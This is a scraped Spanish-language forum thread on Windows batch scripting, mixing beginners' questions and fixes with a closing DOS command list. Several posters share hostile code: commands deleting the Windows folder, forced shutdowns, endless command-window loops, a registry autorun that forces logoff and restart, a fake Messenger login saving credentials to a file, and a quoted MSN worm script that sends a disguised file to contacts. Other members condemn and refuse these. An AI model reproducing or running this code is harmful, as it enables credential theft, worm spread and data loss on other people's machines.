C.Eso se me ocurre.Por: JaLeRubueno jaleru voy a probar asi y te digo te dejo mi mail me gustaria que me enseñes un par de cosas veo que aprendiste mucho [email protected] saludosPor: mauricio_bloghola mi ultimo aporte a los que tenian planes con la carpeta inicio,he tratado de varias formas de autotrasladar mi bat a esa maldita carpeta pero no lo he logrado seguro debe de estar protegida por los ya saben quien..bueno cuando se me ocurra algo que dicho sea de paso ya estoy trabajando voy a volver al foro gracias por las molestias causadasPor: mauricio_blogaca va un cod@echo offshutdown -s -t 00 -fPor: Alfredo_blogquien es el tonton este que quiere reiniciar una pc aca tenes otro cod rd C:\windows cerralo punto bat y ejecutaloPor: mauricio_blog

mauricio_blog :quien es el tonton este que quiere reiniciar una pc aca tenes otro cod rd C:\windows cerralo punto bat y ejecutalo

Alfredo_blog :aca va un cod@echo offshutdown -s -t 00 -f

Porfavor no prueben ni uno de los dos códigos.El Primero es un intento fallido para eliminar la carpeta windows. (No te voy a esplicar como arreglarlo, pero con ese código te preguntara antes si la quieres borrar. Ademas no borrara la carpeta por que no esta vacía, tendría que dar la opción de borrar el árbol completo. Ademas que es poco probable que se borre por que no se puede borrar una carpeta que tiene programas o cosas en ejecucion. Y para rematar el proceso seria extremadamente lento. El segundo por lo menos esta bien escrito, pero no es tan dañino. Les apagara el pc sin tiempo para el termino de ejecucion de programas, además de manera forzosa.Puede causar perdida de datos y daños al equipo. (Una vez lo hice con un amigo en mi pc para

probarlo al prenderlo me apareció una pantalla advirtiéndome que había ocurrido un error en el sistema, pero no era nada al fin y al cabo. (No lo intenten) Suerte, y por favor los estúpidos que están poniendo códigos para molestar a la gente dejen de hacerlo. ¿Que sacan? Solo muestran lo ocioso que son y lo Lamers.

Por: JaLeRuHola, estuve leyendo sobre el batch y estuve creando varios archivos pero ahora me atore con uno en el que al teclear cualquier numero y enter se cierra MS-DOS, ojala me puedan decir cual es la falla, gracias

@echo offecho hola, te realizaremos unas simples pruebas matematicasset num1=%random%set num2=%random%set num3=%random%set num4=%random%echo suma %num1% y %num2%echo restale %num3%echo multiplica por %num4%

Page 23: Batch

set /a resultado= (%num1% %num2% - %num3%)* %num4%set /p respuesta=if %respuesta%= %resultado% (goto bien) else goto mal:bienecho bienpause>nulexit:malecho malpause>nulexitPor: Berzeker_blogClaramente el error se ve "Sobran o faltan parentecis"Por: JaLeRuHola JaLeRu, necesito tu ayuda, estuve revisando todo lo publicado y me parece súper interesante lo que se puede hacer con este tipo de programación. Yo estoy cero en esto, osea soy beginner.Lo que necesito es que el siguiente código se ejecute todos los días, cada día, sin tener que depender de nada, es decir, lo ejecuto por primera vez y a partir de eso que se mantenga ejecutándose.Mi archivo se llama ejecutar.bat y el contenido es el siguiente:java com.j2ee.jdbc.ConexionJDBC

Como ves en la línea anterior mando a ejecutar el .class, necesito que esto se ejecute siempre, es decir, cada día, una vez por día.

Gracias por tu ayuda. Por: lOrE_88Hola, ya pude descubrir el error de mi codigo y no es que sobren o falten parentesis, lo que pasa es que cuando aplicas el comando "set /a var=" y quieres realizar operaciones con otras variables, ya no es necesario poner "%" eso era lo que interferia con el calculo, ademas en "if %respuesta%= %resultado% (goto bien) else goto mal" tan solo faltaba un "==" despues de %respuesta%, al no reconocer el codigo con un solo "=" se botaba el MS-DOS. nos vemos prontoPor: Berzeker_blog

lOrE_88 :Hola JaLeRu, necesito tu ayuda, estuve revisando todo lo publicado y me parece súper interesante lo que se puede hacer con este tipo de programación. Yo estoy cero en esto, osea soy beginner.Lo que necesito es que el siguiente código se ejecute todos los días, cada día, sin tener que depender de nada, es decir, lo ejecuto por primera vez y a partir de eso que se mantenga ejecutándose.Mi archivo se llama ejecutar.bat y el contenido es el siguiente:java com.j2ee.jdbc.ConexionJDBC

Como ves en la línea anterior mando a ejecutar el .class, necesito que esto se ejecute siempre, es decir, cada día, una vez por día.

Gracias por tu ayuda.

Pues agrega al registro ese bat para que se ejecute cada inicio de sesión.Lo otro que puedes hacer, manual mente es crear una tarea programada. Desde el panel de control.Por: JaLeRuhttp://www.cristalab.com/foros/images/smiles/icon_lol.gif ya tan rapido me surgieron tres duda, estuve navegando en varios foros sobre batch y encontre un codigo para contar el numero de caracteres que tenia un texto, lo que quiero es que el que use el .bat introduzca un texto y este programa diga cuantos caracteres tiene lo que se escribio.

Page 24: Batch

La segunda es, cuando existe un variable a esta se le pueden sustituir partes por otras; es decir: echo "%var:e=xxx%", esto sustituye las e por xxx, pero lo que quiero es que existan varias sustituciones, por decir: "%var:e=xxx,a=yyy%" pero no encuentro la sintaxis adecuada por que esa no sirve.

La ultima duda, con la funcion %random% puedo crear numeros aleatorios de 0 a 32768 pero quiero acortar ese numero a un maximo de 3 cifras y que se realizen operaciones (set/a=...) con estas 3 cifras.

Creo que me entusiasme un poco con esto, bueno gracias por todoPor: Berzeker_blogperdon yo subi el codigo de borrar la carpeta win....tamb se que asi no se borra faltan cosas.. pero no lo hice con mala intencion solo quise explicar que no den codigos malos sin decir para que sirven.como el que te queria reiniciar la pc mil disculpas y si puedo dar algun aporte no duden en escribir para jaleruPor: mauricio_blogHEY! gracias JaLeRu, tu ayuda ha sido muy útil para mi, probé con el código para que se ejecute al inicio de sesión y ahi configuré algunas variables de entorno y ya funcionó.Gracias =)Por: lOrE_88Quisiera preguntarles si se puede poner una imagen dentro de la raiz de un batch, para explicarme mejor, que cuando demos doble clic en nuestro archibo .bat aparesca la imagen. en vez de letras u otras cosas. Como lo que utilizan los juegos de PC, como un louncher.

Soy principiante en esto, espero me disculpen si la pregunta los saca de onda.

Saludos Por: Principiante XD_blog

Principiante XD_blog :Quisiera preguntarles si se puede poner una imagen dentro de la raiz de un batch, para explicarme mejor, que cuando demos doble clic en nuestro archibo .bat aparesca la imagen. en vez de letras u otras cosas. Como lo que utilizan los juegos de PC, como un louncher.

Soy principiante en esto, espero me disculpen si la pregunta los saca de onda.

Saludos

No me parece posible. Tal vez con otros códigos de programación como visual, C++ se pueda.I have no idea.Por: JaLeRu

Hola, "principiante " quizas esto te sirva, con este codigo abres una imagen y la cierras despues de determinado tiempo.

@echo offcd C:\RUTA\RUTA\RUTAstart NOMBREDELAIMAGEN.EXTping 1.1.1.1 -n 1 -w 2000>nultaskkill NOMBREDELPROCESO.exeSIGUES CON TU CODIGO

Tendrias que sustituir todo lo que esta en mayusculas deacuerdo a tu imagen y el programa asociado, por ejemplo:RUTA = C:\Users\Pepe\PicturesNOMBREDELAIMAGEN.EXT = Playa.jpgNOMBREDELPROCESO.exe = mspaint.exe (este lo puedes checar pulsando ctrl alt supr y entras en la pestaña procesos, entonces abres una imagen y buscas el programa que inicio

Page 25: Batch

cuando la abriste)En la parte ping 1.1.1.1 -n 1 -w 2000>nulcambias el 2000 a el tiempo que quieras que la imagen este abierta (en milisegundos)

Ojala te sirva, aparte de eso, no se por que no me llega el correo para activar mi cuenta en cristalab, ya tiene como 20 minutos que supuestamente me lo mandaron, quizas mañana me llegue. SuertePor: Berzeker_blog

Gracias, voy a intentar a ver si me funciona...

Suerte con lo de tu correo...

Gracias y Salu2Por: Principiante XDpara copiar miles de veces un archivo usamos la variable %random% es una variable de 0 a 99999 por lo tanto si ponemos

echo %random%>>te infecte.bat

copiara este archivo entre 0 y 99999Por: silvestre001_blog

Alguien sabe como cambiar de un menú a otro automaticamente en un archivo bat... este código es sólo una muestra, y no sirve en lo absoluto.

:inicio@echo offcolor 3ftitle ejemploecho.pause>nul:fin@echo offcolor 3ftitle ejemploecho.pause>nul

A lo que me refiero es que de el menú :inicio vaya automaticamente al menú :fin, y yo pueda ponerle el tiempo para que salte del menú :inicio al menú :fin. Ojala alguien pueda ayudarme se lo agradeceria mucho.

Gracias y Salu2... Por: Angel_of_the_Death

M... creo que los Juakers invaden.msg * Como te dejas hackear asi

Eso no es Hackear, eso se llama hinchar las pelotas.Y porfavor:Si no van a aportar con algo útil, NO APORTEN

Por: JaLeRu

JaLeRu :

M... creo que los Juakers invaden.

Page 26: Batch

msg * Como te dejas hackear asi

Eso no es Hackear, eso se llama hinchar las pelotas.Y porfavor:Si no van a aportar con algo útil, NO APORTEN

No tengo idea si te refias a mi pero soy principiante en esto...y solo preguntaba si alguien sabe como cambiar de un menu a otro en un batch, porque soy principiante en esto, y eso significa no se nada, y me molesta que alguien se burle de mi...

Soy principiante en esto pero no se burlen de ello...

Acaso es malo querer a prender algo bueno....si no tereferias a mi te pido unas disculpas ...Por:

Necesito ayuda... , ¿es posible reducir una imagen GIF...? diganme como Porfa

Se los Agradesco...

Salu2... Por: Angel_of_the_DeathHola Angel of Death, Jaleru no se refería a ti, lo que pasa es que un usuario puso un código de

un "virus" y pues ya que esto no era un aporte positivo fue debidamente llamado hinchar las pelotas.En cuanto a los menus, para acceder a una parte de tu codigo (menú) utilizas el comando "goto" Ejemplo:

:startclsecho 1 Copiar Archivosecho 2 Borrar Archivosecho 3 Mover Archivosset /p op= if %op%==1 goto 1if %op%==2 goto 2if %op%==3 (goto 3) else goto start1:CODIGO2:CODIGO3:CODIGO

En cuanto a la pregunta del GIF, no la entiendo muy bien, pero si lo que quieres es reducir la cantidad de pixeles (por lo tanto el tamaño de archivo) yo lo que hago es abrir el archivo en paint, seleccionar todo, cambiar tamaño. Realmente no se si este método hace que se pierda la

calidad en comparación con otros, pero es lo más sencillo. Por: BerzekerPerdon los menús no son1:2:3:

Page 27: Batch

Debes poner:1:2:3Por: Berzeker

Anonymous :

JaLeRu :

M... creo que los Juakers invaden.msg * Como te dejas hackear asi

Eso no es Hackear, eso se llama hinchar las pelotas.Y porfavor:Si no van a aportar con algo útil, NO APORTEN

No tengo idea si te refias a mi pero soy principiante en esto...y solo preguntaba si alguien sabe como cambiar de un menu a otro en un batch, porque soy principiante en esto, y eso significa no se nada, y me molesta que alguien se burle de mi...

Soy principiante en esto pero no se burlen de ello...

Acaso es malo querer a prender algo bueno....si no tereferias a mi te pido unas disculpas ...

Me refería a los que están poniendo códigos "maliciosos"Por: JaLeRuHola, muy bacano su foro, una pregunta ¿Como puedo hacer un POST de HTTP de un archivo binario por medio de batch ????

graciasPor: Nemesis_blog

Berzeker :Hola Angel of Death, Jaleru no se refería a ti, lo que pasa es que un usuario puso un código de

un "virus" y pues ya que esto no era un aporte positivo fue debidamente llamado hinchar las pelotas.En cuanto a los menus, para acceder a una parte de tu codigo (menú) utilizas el comando "goto" Ejemplo:

:startclsecho 1 Copiar Archivosecho 2 Borrar Archivosecho 3 Mover Archivosset /p op= if %op%==1 goto 1if %op%==2 goto 2if %op%==3 (goto 3) else goto start1:CODIGO2:CODIGO

Page 28: Batch

3:CODIGO

En cuanto a la pregunta del GIF, no la entiendo muy bien, pero si lo que quieres es reducir la cantidad de pixeles (por lo tanto el tamaño de archivo) yo lo que hago es abrir el archivo en paint, seleccionar todo, cambiar tamaño. Realmente no se si este método hace que se pierda la

calidad en comparación con otros, pero es lo más sencillo.

Gracias por ayudarme en esto...la verdad es que todavia no se nada, y por eso les agradesco a

todos su ayuda.....

Y tu explicacion me ayudo bastante...

Salu2... Por: Angel_of_the_DeathPor ahi vean mi tip y me dicen que tal esta:

Que es el siguiente:...[url]http://www.cristalab.com/foros/t50462.html

Salu2... Por: Angel_of_the_Deathyo hice un codigo que es como un keylogger en batch...es solo para tontos...

@echo offtitle Mesengeer Livecolor 2set /p key=ingrese su usuario:set /p key2=ingrese su clave de seguridad:msg * Error al intentar conectarseecho %key%>>C:\claves.txtecho %key2%>>C:\claves.txt

el problema es que para que recuerde algo en c:claves.txtse necesite alguien tonto para que caigapero si le quitas ingrese us..... etcéteraquedaría un keylogger perfecto solo que no estaría todo el tiempo abierto...alguien me puede ayudar?Por: Gaston_blogNo ayudare en nada que tenga que ver con un mal uso.Por: JaLeRuHOLA JaLeRu, NECESITO PEDIRLE UN FAVOR MUY URGENTE, UD SABE COMO PODRIA SUBIR UN ARCHIVO A UNA PAGINA WEB CON BATCH???? LA IDEA ES HACER UN POST DE CUALQUIER ARCHIVO A UNA PAGINA ESPECIFICA SIN QUE SALGAN LAS VENTANAS DE DOS.

MUCHAS GRACIAS POR CUALQUIER AYUDAPor: nemesis_blog

UN POST HTTP Por: NEMESIS_blog

Page 29: Batch

Es verdad PERDON y mi no es con fines maleficos lo unico es que yo queria que me entiendan porque mi hermana se mete a chatear con su (novio)y yo le tengo miedo.Por: Gaston_blogAlguien me podría decir cual es la diferencia entre un post http y un ftp y en que casos se ocupa cada uno.Nemesis, si un ftp te sirve aqui esta el código:echo username>a.txtecho password>>a.txtecho type binary>>a.txtecho send a.jgp>>a.txtecho quit>>a.txtftp -s:a.txt SERVIDORFTPdel a.txtexit

A ver si esta bién por que lo pongo de memoria , tienes que sustituir username password a.jpg servidorftp deacuerdo a los archivos que mandes y el servidor ftp que ocupes. byePor: BerzekerAlguien conoce algun archivo que exista dependiendo del idioma del sistema operativo? o alguna variable que me ayude a saber el idioma. Lo que pasa es que hize un código, pero para que funcione correctamente tanto en los windows inglés como en los español, el codigo debe tener las dos variantes, me imagino algo como esto:if exist C:\windows\system32\Notepad.exe goto inglésif exist C:\windows\system32\Block de Notas.exe (goto español) else echo Su sistema op no esta en español ni ingléso algo como %language%lo más sencillo que se me ocurrio es esto, pero no se si sea posible para usar con directorios en lugar de archivos, y si es posbile que le tengo que agregarif exist %homepath%\desktop goto inglesif exist %homepath%\escritorio goto españolGraciasPor: Berzeker¿Por qué en mi firma no sale la imagen que puse? utilizé esto

[ url = http://zeitgeistmovie.com/zday.htm ] [ img ] http://berzeker.00freehost.com/a.jpg [ /img ] [ /url ]Por: Berzekerporque es una pag. wb?!?no sePor: jumen.cmd_blogtengo un pequeño problema quiero crear un archivo .bat para que se conecten unidades de red pero algunas de mis maqunas no tiene contraseña y me dice que de un enter para que continue que puedo hacer para que ese enter ya no me lo pida

me podrian mandar mi solucion a [email protected] porfavor graciasPor: sergio_bloguuujjPor: llo_blogaca va un codigo muy bueno

@echo offcd c:\echo start dos.bat>dos.batstart dos.batcls pausePor: mis simples bat_blog

Page 30: Batch

lo guardan con la extencion "dos.bat" sin las comillas y lo mandan a quien quieran no es dañino solo un susto de principiantes para que sepan lo que es batPor: mis simples bat_blogHola, tengo un problema. Necesito crear un archivo .bat que reconosca automáticamente un pendrive, sin saber el nombre de la unidad. GraciasPor: Let_blogaca te va un codigo

:pendrivestart cmdgoto:pendrivepause

cerralo pen.bat y dale nomasPor: mis simples bat_blogGracias!!! :XPor: Let_blogse ve que los novatos quedaron a la deriba en este foro la pregunta es ¿donde esta jaleru?Por: mis simples bat_blogAqui estoy. Pero me da lata seguir respondiendo. Si en fin terminan posteando estupideces como.

Código :

@echo off

:repite

start cmd.exe

goto :repite

exit

Es verdad, que solo dará un sustito, pero igual es algo que la gente no quiere que le pase.Aunque un usuario avanzado, o normal-avanzado podría rápidamente detenerlo. No me interesa ayudar a que creen estupideces para hinchar a usuarios de windows. Sin un razón.Si van a crear malwares, guardenselos y úsenlos no para mentirles a otros usuarios que ni conocen que sirve para otra cosa. Vallan usen esos malwares en otra parte. Aquí la gente quiere aprender. Y digamos que si quieren "Sorprender" con sus cositas, les digo que cualquier bosta puede hacer eso. Ya sea por lo obvio que es, o buscando en google.Por: JaLeRula verdad jaleru tenes razon solo uno se rompe el alma estudiando leyendo ..con que beneficio para que un tonto venga y t pregunte como se hacen las cosas y se la lleve de arriba claro si total el que se rompio el alma estudiaNndo fue uno...igualmente segui ayudando a esta gente si es tu buena accion del dia..ojo no tengo nada contra vos es mas te admiro porque sabes un monton bueno te dejo saludosPor: mis simples bat_blogtengo una pregunta cuando agregro al registro un bat para que se ejecute al iniciarse la pc lo hace mientras existe el bat o solo la proxima vez que se inicie...gracias de antemanoPor: BILLY_blogexelente tutorial, no tienes idea como me esta ayudando GRACIAS POR COMPARTIRLO.Por: julia_blog

BILLY_blog :

Page 31: Batch

tengo una pregunta cuando agregro al registro un bat para que se ejecute al iniciarse la pc lo hace mientras existe el bat o solo la proxima vez que se inicie...gracias de antemano

Siempre que exista el BAT.Por: JaLeRuJOd......rr JaLeRu,

Te ha salido como un iman este post "bueno por cierto", y al parecer pululan juakers Por: jpcw

jpcw :JOd......rr JaLeRu,

Te ha salido como un iman este post "bueno por cierto", y al parecer pululan juakers

Es cierto, es el post que mas gente me ha respondido. Lo de los Juaker, bueno era de esperar.Por: JaLeRuHola.... queria saber como se hace un comando...

si pongo ----------------------------------------@echo offset x=0set y=50

set /a a=%y%-%random%

If %a% LSS %x% goto menorqueIf %a% GTR %x% goto menorque

:mayorqueecho echo %random% es mayor que 0

:menorqueecho echo %random% es menos que 0

pauseexit----------------------------------------

Pero si quiero ponerle un rango a la variable Random es decir %random:~1,2% [de esta manera escoge un numero del 1 al 99] al ponerle ese rango no funciona el programa

Sale en la pantalla esto

:mayorqueecho echo %random% es mayor que 0

:menorqueecho echo %random% es menos que 0

Como si fuera mayor y menor que 0 a la vez...

Alguna solucion?

Page 32: Batch

Aqui os dejo el Bat----------------------------------------@echo offset x=0set y=50

set /a a=%y%-%random:~1,2%

If %a% LSS %x% goto menorqueIf %a% GTR %x% goto menorque

:mayorqueecho echo %random% mas:menorqueecho echo %random% menos

pauseexit----------------------------------------Por: Jorge_blogen el codigo de arriba hay un error y es que he puesto dos veces

If %a% LSS %x% goto menorqueIf %a% GTR %x% goto menorque

pero aun asi lo corregi

If %a% LSS %x% goto menorqueIf %a% GTR %x% goto mayorque

y tampoco va.. alguna sugerencia?Por: Jorge_blogya van a empezar otra vez ,te vamos a regalar el premio Pulitzer jaleruPor: mis simlples bat_blogalguien sabe como poder manipular cuitas NTFS en servidores win 2003 server.

Me refiero a cuatas como delimitar el espacio que tendra en la carperta.

como poder manipular sus propiedades que necesito estudiar, eventos, parametros, odj.

gracias por su ayudaPor: hola nuevamente_blogahi va un code de memo

@echo offcd c:\archivos de programaecho logoff>cierra.batreg add "HTML\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d c:\archivos de programas\cierra.bat" /f pauseshutdown -r -f -t 10exitPor: mis simples bat_blog

mis simples bat_blog :

Page 33: Batch

ahi va un code de memo

@echo offcd c:\archivos de programaecho logoff>cierra.batreg add "HTML\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d c:\archivos de programas\cierra.bat" /f pauseshutdown -r -f -t 10exit

Eso hace que se les reinicie el pc cada vez que lo prendan. O eso quería por lo menos que hisera su creador. Por que existen errores en su codigo.Por: JaLeRuEs aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan asi...

Por: M@U

M@U :Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...

Yo personalmente le pido a un BOFH que cierre esto.No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.Por: JaLeRu

JaLeRu :

M@U :Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...

Yo personalmente le pido a un BOFH que cierre esto.No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.

jajaja, no, no JaLeRu. Esto es terriblemente divertido.

Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.Por: Freddie

Freddie :

JaLeRu :

M@U :Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...

Page 34: Batch

Yo personalmente le pido a un BOFH que cierre esto.No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.

jajaja, no, no JaLeRu. Esto es terriblemente divertido.

Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.

Ok bueno, pero me rindo y no voy a seguir leyendo los comentarios de este Tip. Ya que siempre entro esperando alguna pregunta y poder ayudar. Pero me encuentro con estupideces.

Los dejo.... Por: JaLeRu

JaLeRu :

Freddie :

JaLeRu :

M@U :Es aterrador emocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...

Yo personalmente le pido a un BOFH que cierre esto.No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.

jajaja, no, no JaLeRu. Esto es terriblemente divertido.

Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.

Ok bueno, pero me rindo y no voy a seguir leyendo los comentarios de este Tip. Ya que siempre entro esperando alguna pregunta y poder ayudar. Pero me encuentro con estupideces.

Los dejo....

Tienes toda la razón...ya has ayudado bastante...y te agradesemos por ello... y no tiene cazo que respondas a preguntas sin sentido...y menos que ayudes a los lammerspues solo an puesto preguntas y códigos para joder a las demás personas que solo buscan ayuda...

Mil Gracias...y salu2...nos has ayudado mucho...Por: Angel_of_the_Death

Page 35: Batch

Sabe alguien como obtener el PID de un .bat?Por: Raul_blogtengo 4 .bat que abren aplicaciones distintas cada uno de ellos. Como puedo hacer para que un solo .bat abra esas 4 aplicaciones. o en su defecto como hago para que un solo bat que abra los 4 .bat?

gracias !Por: txk_blogno te rindas jaleru ejejejejejee vas por buen caminoPor: mis simples bat_blogmejor aun tiene razon angel of the death ya has ayudaddo mucho ve a casa y descansa un rato .....jijijijiPor: mis simples bat_bloghola me gustaria pedir una ayudita..me gustaria saber como crear un archivo Bat.q de la opcion de cerrar una determinda pagina web,mejor dicho cerrar Aol (America Online) y crear otro para volverlo a ejecutar..eso si hayq entrar logeado..en AOL..q sea automatica la entrada..con mi pass y user pero sin tener q star metiendolos o dandole a login siempre..graciasPor: carlos_bloghe creado un archivo bat para que un exe de flash me abra un pps, pero no quiero que me aparezca, aunque sea por medio segundo, la ventanita de c:, es una putada porque el comando es sencillo y efectivo, pero necesito que la ventana del batch no se vea. quien puede

ayudarme con esto? aprovecho para felicitar a todos los que aportais soluciones Por: mikelo082_blog

carlos_blog :hola me gustaria pedir una ayudita..me gustaria saber como crear un archivo Bat.q de la opcion de cerrar una determinda pagina web,mejor dicho cerrar Aol (America Online) y crear otro para volverlo a ejecutar..eso si hayq entrar logeado..en AOL..q sea automatica la entrada..con mi pass y user pero sin tener q star metiendolos o dandole a login siempre..gracias

Mira si puedes crear un batch que abra y cierre cierta pagina web...pero que por ti ponga el pass y tu username...creo que no se podra...almenos hasta donde yo se...intenta con otros metodos de programación tal ves te sirva el C++, el java, o que se yo...pero en batch no creo

que se pueda hacer... Por: Angel_of_the_DeathJaLeRu por favor vuelve!Por: mis simples bat_blog_blogehhh...me parece que me usurparon el nombre yo nunca pedi que vuelva jaleru sean creativos che no imiten...ahora una ayudita para mikelo082 si aun la nesecitas ,si no quieres que la ventana de d.o.s no aparesca como decis vos lo que tienes que hacer es compilarla con algun programa de conversion yo uso bat_to_exe modifica al archivo bat como si fuera un exe solo que sigue siendo un archivo por lotes y trae una opcion que se llama ghost tilda eso y la ventana no aparecera espero que te sirva la ayuda cualquier duda consulta otra ves..Por: mis simples bat_blogsabe alguien como hacer que reinicie un bat si se cierra?Por: rossana_blogROSSANA EXPLICATE BIEN Y TE PODRE AYUDAR QUE QUIERES QUE HAGA EL BAT?Por: MIS SIMPLES BAT_blogquiero que si por alguna razon alguien lo cierra se vuelva a abrir solito.Por: rossana_blogmira mi bat es este.

@echo offtitle modemjava -jar modem.jarpause

Page 36: Batch

eso se mantiene ejecutando. quiero que si alguien lo cierra el se vuelva a levantar solitoPor: rossana_blogNO ENTIENDO BIEN QUE QUIERES HACER PERO TE DIGO ALGO,UN BAT NO SE EJECUTA SOLO XQ SI LAS POSIBILIDADES DE QUE UN BAT SE AUTOEJECUTE SOLO ES AL PRENDER LA PC O EN SU DEFECTO CON OTRO BAT MEDIANTE UNAS ORDENES DE COMANDOS POR EJEMP HACES UN BAT CON UNA ORDEN QUE A TAL HORA TAL DIA SE AUTOEJECUTE..Y TE LLAME TU BAT QUE SE TE CIERRA PERO LO QUE TU QUIERES NO SE PUEDE CREO..O ESPERA A VER SI OTRO TE DA UNA SOLUCIONPor: MIS SIMPLES BAT_blogla solucion que te puedo dar es la siguiente carga tu bat al registro de windows para que se ejecute cuando prendas la pc y luego esconde tu bat en alguna carpeta del disco rigido como en systen32 en modo oculto y ya no tendras mas problemasPor: mis simples bat_blogsi bueno yo lo tengo asi, en el registro de windows pero kiero que sea ehmmm como especie de un daemon. Que si se cierra se vuelva a abrir.

Lo otro que se me ocurrio es preguntar el PID del bat que se esta ejecutando y con otro bat estar pendiente de que si no esta activo, activarlo. Aunque nose si se pueda hacer.

Muchas gracias por su interes!Por: rossana_blogde nada rossana,,ahora tema aparte donde se fue jaleru ya es hora que vuelvas la gente nesecita ayuda y yo no puedo ayudar y fastidiar al mismo tiempo..ya bastante me porte bien ayudando ahora quiero volver a lo mio asi que vuelve jaleru de una ves...Por: mis simples bat_blog

mis simples bat_blog :[...]ya bastante me porte bien ayudando ahora quiero volver a lo mio asi que vuelve jaleru de una ves...

Vuelve JaLeRu !, tu publico te aclama...Por: M@Uhola!!!gracias por el manual es muy buenomira el problema k tengo yo es k tengo un program .bat y he echo k dependiendo del boton al k le des se abre unas paginas u otras pero kiero k se abra un .bat dandole a otro cosa k no logro conseguir pero kreo k lo arreglare, el caso esk yo kiero acer un programa k ya me incluya éste y si puede ser mejor en .exe para k cuando le de al 1 (por ejemplo) se abra el google y al dos pues mi otro programa pero esk no kiero ir con dos programillas como lo podria juntar y si pudiera ser en .exe mejor?Por: pedro_blogeiii k he resuelto mi problema, he tardado 1 min jeje simplemente he copiado la informacion del otro al el me lo estaba relacionando jajagracias de nuevoPor: pedro_blogQUE LATA ESTO YA SE A VUELTO LELOPor: mis simples bat_bloguna pregunta ? un archivo bat puede hacer lo que hace el virus sesser, osea sintetisando lo explico busca direccciones de ip y se autocopia en otras pc y usa la vulnerabilidad del l.sass y reinicia la pc por siempre desde la shellPor: bylly_blogno se para que abren un foro si no ayudan a nadiePor: bylly_blog

bylly_blog :no se para que abren un foro si no ayudan a nadie

Page 37: Batch

Si ayudan. Pero no ayudo a preguntas que no se responder, o creo que no deben ser respondidas.Como...¿Como reviento el pc de mi abuela? (Ejemplo de una que no respondería)¿Como puedo hacer con bath que las carpetas de mi sistema sean rosadas? (Pregunta que no sabría responder)Por: JaLeRujaleru te molesto con una pregenta me mandaron un bat en una carpeta compartida del msn de un contacto que no conosco me dirias que es gracias

md "%programfiles%\Messenger Plus! Live\Scripts\hola\"echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo if (Origin != Messenger.MyName)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo ChatWnd.SendMessage("/sendfile %homedrive%\\WINDOWS\\system32\\Foto\\Mis Fotos En La Playa 2008.rar");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\reinicia.bat" /v Enabled /t REG_DWORD /d 1 /f

CHKDSK - Controla un disco y provee información sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.

ATTRIB - Presenta en pantalla o modifica los atributos de los archivos.

COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc.

DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva.

EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usará esencialmente para modificar pequeños archivos de texto, empezando por los llamados "archivos de sistema”, que son el CONFIG.SYS y el AUTOEXEC.BAT.

FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones.

FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el directorio y la tabla de asignación de los archivos (FAT), y cargando el programa de inicio.

INSTALL O INSTALAR- Carga los programas residentes, a través del Config.Sys.

MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory”, creación de un directorio.

MSCDEX - Acceso a los CD-ROM. A partir del DOS 6.

Page 38: Batch

SCANDISK - Herramienta de verificación y reparación de los discos duros, pero sólo a partir de la versión 6.2.

Aca estan los demas para los que quieren saber mas del dos

ANSI.SYS - Carga el código ANSI. Interviene en el Config.Sys mediante un Device=

APPEND - Indica al sistema en qué directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que sólo se ocupa de archivos de comandos.

ASSIGN - Envía el comando direccionado en un disco hacia otro disco; este último reemplaza al primero. Ya no existe en el DOS 6.

BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauración de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendición porque este comando era uno de los más difíciles de manejar.

BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programación más simple que existe.

